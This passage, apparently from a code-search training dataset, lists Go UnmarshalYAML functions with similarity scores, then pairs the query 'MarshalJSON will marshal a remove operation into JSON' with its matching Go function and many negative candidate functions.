Extensions{}\n\tif err := unmarshal(&exts); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif len(exts) > 0 {\n\t\tr.Extensions = exts\n\t}\n\n\treturn nil\n}", "func (c *SlackConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultSlackConfig\n\ttype plain SlackConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn checkOverflow(c.XXX, \"slack config\")\n}", "func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\n\ttype storeYAML map[string]map[string]entryYAML\n\n\tsy := make(storeYAML, 0)\n\n\terr = unmarshal(&sy)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*s = NewStore()\n\tfor groupID, group := range sy {\n\t\tfor entryID, entry := range group {\n\t\t\tentry.e.setGroup(groupID)\n\t\t\tif err = s.add(entryID, entry.e); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}", "func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}", "func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\n\tvar d string\n\tif err = value.Decode(&d); err != nil {\n\t\treturn err\n\t}\n\t// check data format\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn err\n\t}\n\n\t*date = Date(d)\n\treturn nil\n}", "func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate float64\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tf.set(candidate)\n\treturn nil\n}", "func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UOMString(s)\n\treturn err\n}", "func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn fmt.Errorf(\"ParseKind should be a string\")\n\t}\n\tv, ok := _ParseKindNameToValue[s]\n\tif !ok {\n\t\treturn fmt.Errorf(\"invalid ParseKind %q\", s)\n\t}\n\t*r = v\n\treturn nil\n}", "func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tif !LabelName(s).IsValid() {\n\t\treturn fmt.Errorf(\"%q is not a valid label name\", s)\n\t}\n\t*ln = LabelName(s)\n\treturn nil\n}", "func (a *Alias) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&a.AdvancedAliases); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif len(a.AdvancedAliases) != 0 {\n\t\t// Unmarshaled successfully to s.StringSlice, unset s.String, and return.\n\t\ta.StringSliceOrString = StringSliceOrString{}\n\t\treturn nil\n\t}\n\tif err := a.StringSliceOrString.UnmarshalYAML(value); err != nil {\n\t\treturn errUnmarshalAlias\n\t}\n\treturn nil\n}", "func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif defaultTestLimits != nil {\n\t\t*l = *defaultTestLimits\n\t}\n\ttype plain TestLimits\n\treturn unmarshal((*plain)(l))\n}", "func parseYaml(yaml string) (*UnstructuredManifest, error) {\n\trawYamlParsed := &map[string]interface{}{}\n\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tunstruct := meta_v1_unstruct.Unstructured{}\n\terr = unstruct.UnmarshalJSON(rawJSON)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmanifest := &UnstructuredManifest{\n\t\tunstruct: &unstruct,\n\t}\n\n\tlog.Printf(\"[DEBUG] %s Unstructed YAML: %+v\\n\", manifest, manifest.unstruct.UnstructuredContent())\n\treturn manifest, nil\n}", "func (i *ChannelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ChannelNameString(s)\n\treturn err\n}", "func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 {\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: <string>\n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}", "func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = InterfaceString(s)\n\treturn err\n}", "func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype C Scenario\n\tnewConfig := (*C)(c)\n\tif err := unmarshal(&newConfig); err != nil {\n\t\treturn err\n\t}\n\tif c.Database == nil {\n\t\treturn fmt.Errorf(\"Database must not be empty\")\n\t}\n\tif c.Collection == nil {\n\t\treturn fmt.Errorf(\"Collection must not be empty\")\n\t}\n\tswitch p := c.Parallel; {\n\tcase p == nil:\n\t\tc.Parallel = Int(1)\n\tcase *p < 1:\n\t\treturn fmt.Errorf(\"Parallel must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.BufferSize; {\n\tcase s == nil:\n\t\tc.BufferSize = Int(1000)\n\tcase *s < 1:\n\t\treturn fmt.Errorf(\"BufferSize must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.Repeat; {\n\tcase s == nil:\n\t\tc.Repeat = Int(1)\n\tcase *s < 0:\n\t\treturn fmt.Errorf(\"Repeat must be greater than or equal to 0\")\n\tdefault:\n\t}\n\tif len(c.Queries) == 0 {\n\t\treturn fmt.Errorf(\"Queries must not be empty\")\n\t}\n\treturn nil\n}", "func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar t string\n\terr := unmarshal(&t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\n\t\t*s = val\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"'%s' is not a valid token strategy\", t)\n}", "func (d *DurationMillis) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ttc := OfMilliseconds(candidate)\n\t*d = tc\n\treturn nil\n}", "func (c *WebhookConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultWebhookConfig\n\ttype plain WebhookConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.URL == \"\" {\n\t\treturn fmt.Errorf(\"missing URL in webhook config\")\n\t}\n\treturn checkOverflow(c.XXX, \"webhook config\")\n}", "func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = dur\n\treturn nil\n}", "func (r *Rank) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar i uint32\n\tif err := unmarshal(&i); err != nil {\n\t\treturn err\n\t}\n\tif err := checkRank(Rank(i)); err != nil {\n\t\treturn err\n\t}\n\t*r = Rank(i)\n\treturn nil\n}", "func (u *URL) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\turlp, err := url.Parse(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\tu.URL = urlp\n\treturn nil\n}", "func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\trate, err := ParseRate(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = rate\n\treturn nil\n}", "func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias PortMapping\n\taux := &struct {\n\t\tProtocol string `json:\"protocol\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(p),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\tif aux.Protocol != \"\" {\n\t\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown protocol value: %s\", aux.Protocol)\n\t\t}\n\t\tp.Protocol = PortMappingProtocol(val)\n\t}\n\treturn nil\n}", "func (c *VictorOpsConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultVictorOpsConfig\n\ttype plain VictorOpsConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.APIKey == \"\" {\n\t\treturn fmt.Errorf(\"missing API key in VictorOps config\")\n\t}\n\tif c.RoutingKey == \"\" {\n\t\treturn fmt.Errorf(\"missing Routing key in VictorOps config\")\n\t}\n\treturn checkOverflow(c.XXX, \"victorops config\")\n}", "func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar v interface{}\n\terr := unmarshal(&v)\n\tif err != nil {\n\t\treturn err\n\t}\n\td.Duration, err = durationFromInterface(v)\n\tif d.Duration < 0 {\n\t\td.Duration *= -1\n\t}\n\treturn err\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype raw Config\n\tvar cfg raw\n\tif c.URL.URL != nil {\n\t\t// we used flags to set that value, which already has sane default.\n\t\tcfg = raw(*c)\n\t} else {\n\t\t// force sane defaults.\n\t\tcfg = raw{\n\t\t\tBackoffConfig: util.BackoffConfig{\n\t\t\t\tMaxBackoff: 5 * time.Second,\n\t\t\t\tMaxRetries: 5,\n\t\t\t\tMinBackoff: 100 * time.Millisecond,\n\t\t\t},\n\t\t\tBatchSize: 100 * 1024,\n\t\t\tBatchWait: 1 * time.Second,\n\t\t\tTimeout: 10 * time.Second,\n\t\t}\n\t}\n\n\tif err := unmarshal(&cfg); err != nil {\n\t\treturn err\n\t}\n\n\t*c = Config(cfg)\n\treturn nil\n}", "func (act *Action) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// creating anonimus struct to avoid recursion\n\tvar a struct {\n\t\tName ActionType `yaml:\"type\"`\n\t\tTimeout time.Duration `yaml:\"timeout,omitempty\"`\n\t\tOnFail onFailAction `yaml:\"on-fail,omitempty\"`\n\t\tInterval time.Duration `yaml:\"interval,omitempty\"`\n\t\tEnabled bool `yaml:\"enabled,omitempty\"`\n\t\tRecordPending bool `yaml:\"record-pending,omitempty\"`\n\t\tRole actionRole `yaml:\"role,omitempty\"`\n\t}\n\t// setting default\n\ta.Name = \"defaultName\"\n\ta.Timeout = 20 * time.Second\n\ta.OnFail = of_ignore\n\ta.Interval = 20 * time.Second\n\ta.Enabled = true\n\ta.RecordPending = false\n\ta.Role = ar_none\n\tif err := unmarshal(&a); err != nil {\n\t\treturn err\n\t}\n\t// copying into aim struct fields\n\t*act = Action{a.Name, a.Timeout, a.OnFail, a.Interval,\n\t\ta.Enabled, a.RecordPending, a.Role, nil}\n\treturn nil\n}", "func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := c.AdvancedCount.IsValid(); err != nil {\n\t\treturn err\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := unmarshal(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}", "func (p *Package) UnmarshalYAML(value *yaml.Node) error {\n\tpkg := &Package{}\n\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\n\tvar err error // for use in the switch below\n\n\tlog.Trace().Interface(\"Node\", value).Msg(\"Pkg UnmarshalYAML\")\n\tif value.Tag != \"!!map\" {\n\t\treturn fmt.Errorf(\"unable to unmarshal yaml: value not map (%s)\", value.Tag)\n\t}\n\n\tfor i, node := range value.Content {\n\t\tlog.Trace().Interface(\"node1\", node).Msg(\"\")\n\t\tswitch node.Value {\n\t\tcase \"name\":\n\t\t\tpkg.Name = value.Content[i+1].Value\n\t\t\tif pkg.Name == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase \"version\":\n\t\t\tpkg.Version = value.Content[i+1].Value\n\t\tcase \"present\":\n\t\t\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().Err(err).Msg(\"can't parse installed field\")\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Trace().Interface(\"pkg\", pkg).Msg(\"what's in the box?!?!\")\n\t*p = *pkg\n\n\treturn nil\n}", "func (c *SDConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultSDConfig\n\ttype plain SDConfig\n\terr := unmarshal((*plain)(c))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(c.Files) == 0 {\n\t\treturn errors.New(\"file service discovery config must contain at least one path name\")\n\t}\n\tfor _, name := range c.Files {\n\t\tif !patFileSDName.MatchString(name) {\n\t\t\treturn fmt.Errorf(\"path name %q is not valid for file discovery\", name)\n\t\t}\n\t}\n\treturn nil\n}" ]
[ "0.7059283", "0.6990323", "0.6866564", "0.67916596", "0.67916596", "0.67795163", "0.67414075", "0.67300296", "0.67131865", "0.6689635", "0.6685944", "0.663312", "0.6602054", "0.6599366", "0.65887535", "0.6547597", "0.6542914", "0.6540032", "0.6538426", "0.6529209", "0.6525384", "0.6521895", "0.6512844", "0.6491686", "0.6490539", "0.6466298", "0.6465535", "0.6462331", "0.6461393", "0.64454675", "0.6445143", "0.6433674", "0.642168", "0.6403291", "0.63871044", "0.63861835", "0.6381758", "0.6381307", "0.6372583", "0.6368044", "0.63649404", "0.6355099", "0.6352127", "0.63495535", "0.63494974", "0.63474447", "0.63440377", "0.6339773", "0.6339327", "0.6338659", "0.63321775", "0.6308859", "0.6303998", "0.6300352", "0.62990654", "0.6296813", "0.6277989", "0.6274312", "0.6262347", "0.62492377", "0.62478894", "0.62378126", "0.6232048", "0.62314314", "0.6229983", "0.62297904", "0.6229035", "0.62261665", "0.62234", "0.62202555", "0.62198395", "0.6216469", "0.6216469", "0.6215683", "0.61997986", "0.6194344", "0.6192112", "0.61879605", "0.6175737", "0.6171555", "0.61710227", "0.6165165", "0.6163969", "0.6163124", "0.6155547", "0.6152733", "0.6130305", "0.6127966", "0.61278033", "0.61247116", "0.61235005", "0.6120731", "0.6116914", "0.6112363", "0.6105063", "0.6101644", "0.6098508", "0.6094788", "0.60917634", "0.608204" ]
0.7891421
0
MarshalJSON will marshal a remove operation into JSON
func (op OpRemove) MarshalJSON() ([]byte, error) { return json.Marshal(op.Field) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tdpbo.Kind = KindDelete\n\tobjectMap := make(map[string]interface{})\n\tif dpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = dpbo.PropertyName\n\t}\n\tif dpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = dpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (obj CartRemoveLineItemAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveLineItemAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeLineItem\", Alias: (*Alias)(&obj)})\n}", "func (obj CartRemovePaymentAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemovePaymentAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removePayment\", Alias: (*Alias)(&obj)})\n}", "func (v RemoveSymbolFromWatchlistRequest) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson3e8ab7adEncodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(w, v)\n}", "func (op *OpRemove) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Field)\n}", "func (v RemoveUserData) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonD2b7633eEncode20191OPGPlus2InternalPkgModels14(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func Test_jsonpatch_Remove_NonExistent_IsError(t *testing.T) {\n\tg := NewWithT(t)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[{\"op\":\"remove\", \"path\":\"/test_key\"}]`))\n\n\torigDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\t_, err := patch1.Apply(origDoc)\n\tg.Expect(err).Should(HaveOccurred(), \"patch apply\")\n}", "func JSONDel(conn redis.Conn, key string, path string) (res interface{}, err error) {\n\tname, args, _ := CommandBuilder(\"JSON.DEL\", key, path)\n\treturn conn.Do(name, args...)\n}", "func (j jsonNull) doRemovePath([]string) (JSON, bool, error) { return j, false, nil }", "func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\n\tg := NewWithT(t)\n\n\torigDoc := []byte(`{\n\t\t\"asd\":\"foof\",\n\t\t\"test_obj\":{\"color\":\"red\", \"model\":\"sedan\"},\n\t\t\"test_array\":[\"uno\", \"deux\", \"three\"]\n }`)\n\n\tpatch1, _ := DecodePatch([]byte(`[\n\t\t{\"op\":\"remove\", \"path\":\"/test_obj\"},\n\t\t{\"op\":\"remove\", \"path\":\"/test_array\"}\n\t]`))\n\n\texpectNewDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch apply\")\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}", "func (d DeleteOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(d.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(d.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range d.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t}{\n\t\tOp: d.Op(),\n\t\tTable: d.Table,\n\t\tWhere: d.Where,\n\t}\n\treturn json.Marshal(temp)\n}", "func EncodeRemoveResponse(_ context.Context, w http.ResponseWriter, response interface{}) (err error) {\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\te := json.NewEncoder(w)\n\te.SetIndent(\"\", \"\\t\")\n\terr = e.Encode(response)\n\treturn err\n}", "func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\n\tg := NewWithT(t)\n\n\torigDoc := []byte(`{\n\t\t\"asd\":\"foof\",\n\t\t\"test_obj\":{\"color\":\"red\", \"model\":\"sedan\"},\n\t\t\"test_array\":[\"uno\", \"deux\", \"three\"]\n }`)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[\n\t\t{\"op\":\"remove\", \"path\":\"/test_obj\"},\n\t\t{\"op\":\"remove\", \"path\":\"/test_array\"}\n\t]`))\n\n\texpectNewDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch apply\")\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}", "func (v RemoveSymbolFromWatchlistRequest) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson3e8ab7adEncodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (v deleteByQuery) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson390b7126EncodeGithubComChancedPicker39(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (obj CartRemoveCustomLineItemAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveCustomLineItemAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeCustomLineItem\", Alias: (*Alias)(&obj)})\n}", "func (obj CartRemoveShippingMethodAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveShippingMethodAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeShippingMethod\", Alias: (*Alias)(&obj)})\n}", "func (v EventPipelineDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk25(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (v EventPipelinePermissionDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk12(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (v RemoveUserData) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonD2b7633eEncode20191OPGPlus2InternalPkgModels14(w, v)\n}", "func (v deleteByQuery) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson390b7126EncodeGithubComChancedPicker39(w, v)\n}", "func (obj CartRemoveDiscountCodeAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveDiscountCodeAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeDiscountCode\", Alias: (*Alias)(&obj)})\n}", "func marshalDeletion(id *firestore.DocumentRef, updatedAt time.Time) (types.Mutation, error) {\n\tkey, err := json.Marshal([]string{id.ID})\n\tif err != nil {\n\t\treturn types.Mutation{}, errors.WithStack(err)\n\t}\n\n\treturn types.Mutation{\n\t\tKey: key,\n\t\tTime: hlc.New(updatedAt.UnixNano(), 0),\n\t}, nil\n}", "func (v EventApplicationPermissionDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk16(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (v EventPipelineParameterDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk16(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (obj CartRemoveItemShippingAddressAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveItemShippingAddressAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeItemShippingAddress\", Alias: (*Alias)(&obj)})\n}", "func (nre NodeRemovedEvent) MarshalJSON() ([]byte, error) {\n\tnre.Kind = KindNodeRemoved\n\tobjectMap := make(map[string]interface{})\n\tif nre.NodeID != nil {\n\t\tobjectMap[\"NodeId\"] = nre.NodeID\n\t}\n\tif nre.NodeInstance != nil {\n\t\tobjectMap[\"NodeInstance\"] = nre.NodeInstance\n\t}\n\tif nre.NodeType != nil {\n\t\tobjectMap[\"NodeType\"] = nre.NodeType\n\t}\n\tif nre.FabricVersion != nil {\n\t\tobjectMap[\"FabricVersion\"] = nre.FabricVersion\n\t}\n\tif nre.IPAddressOrFQDN != nil {\n\t\tobjectMap[\"IpAddressOrFQDN\"] = nre.IPAddressOrFQDN\n\t}\n\tif nre.NodeCapacities != nil {\n\t\tobjectMap[\"NodeCapacities\"] = nre.NodeCapacities\n\t}\n\tif nre.NodeName != nil {\n\t\tobjectMap[\"NodeName\"] = nre.NodeName\n\t}\n\tif nre.EventInstanceID != nil {\n\t\tobjectMap[\"EventInstanceId\"] = nre.EventInstanceID\n\t}\n\tif nre.TimeStamp != nil {\n\t\tobjectMap[\"TimeStamp\"] = nre.TimeStamp\n\t}\n\tif nre.HasCorrelatedEvents != nil {\n\t\tobjectMap[\"HasCorrelatedEvents\"] = nre.HasCorrelatedEvents\n\t}\n\tif nre.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = nre.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (v EventPipelineJobDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk23(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func cleanJSON(d interface{}) (jsonBuf []byte, id, rev string, err error) {\n\tjsonBuf, err = json.Marshal(d)\n\tif err != nil {\n\t\treturn\n\t}\n\tm := map[string]interface{}{}\n\tmust(json.Unmarshal(jsonBuf, &m))\n\tid, _ = m[\"_id\"].(string)\n\tdelete(m, \"_id\")\n\trev, _ = m[\"_rev\"].(string)\n\tdelete(m, \"_rev\")\n\tjsonBuf, err = json.Marshal(m)\n\treturn\n}", "func (a *RemoveScriptToEvaluateOnNewDocumentArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy RemoveScriptToEvaluateOnNewDocumentArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}", "func JSONDeleteTblProduct(c *gin.Context) {\n\tDb, err := config.DbConnect()\n\tif err != nil {\n\t\tpanic(\"Not Connect database\")\n\t}\n\tparamID := c.Param(\"id\")\n\tquery := `DELETE FROM tabelproduct WHERE id ='` + paramID + `';`\n\tupdDB, err := Db.Query(query)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer updDB.Close()\n\tDb.Close()\n\tc.JSON(http.StatusOK, \"Delete record successfully\")\n}", "func (v EventApplicationDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk21(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (v EventApplicationRepositoryDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk8(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (op OpRetain) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(op.Fields)\n}", "func (c *KafkaCluster) removeMarshal(m *Marshaler) {\n\tc.lock.Lock()\n\tdefer c.lock.Unlock()\n\n\tfor i, ml := range c.marshalers {\n\t\tif ml == m {\n\t\t\tc.marshalers = append(c.marshalers[:i], c.marshalers[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n}", "func (r Record) Remove(bs []byte) *RecordRemoveResult {\n\tdata := new(RecordRemoveResult)\n\terr := json.Unmarshal(bs, data)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn data\n}", "func (v EventPipelineStageDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk4(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (obj CartSetDeleteDaysAfterLastModificationAction) MarshalJSON() 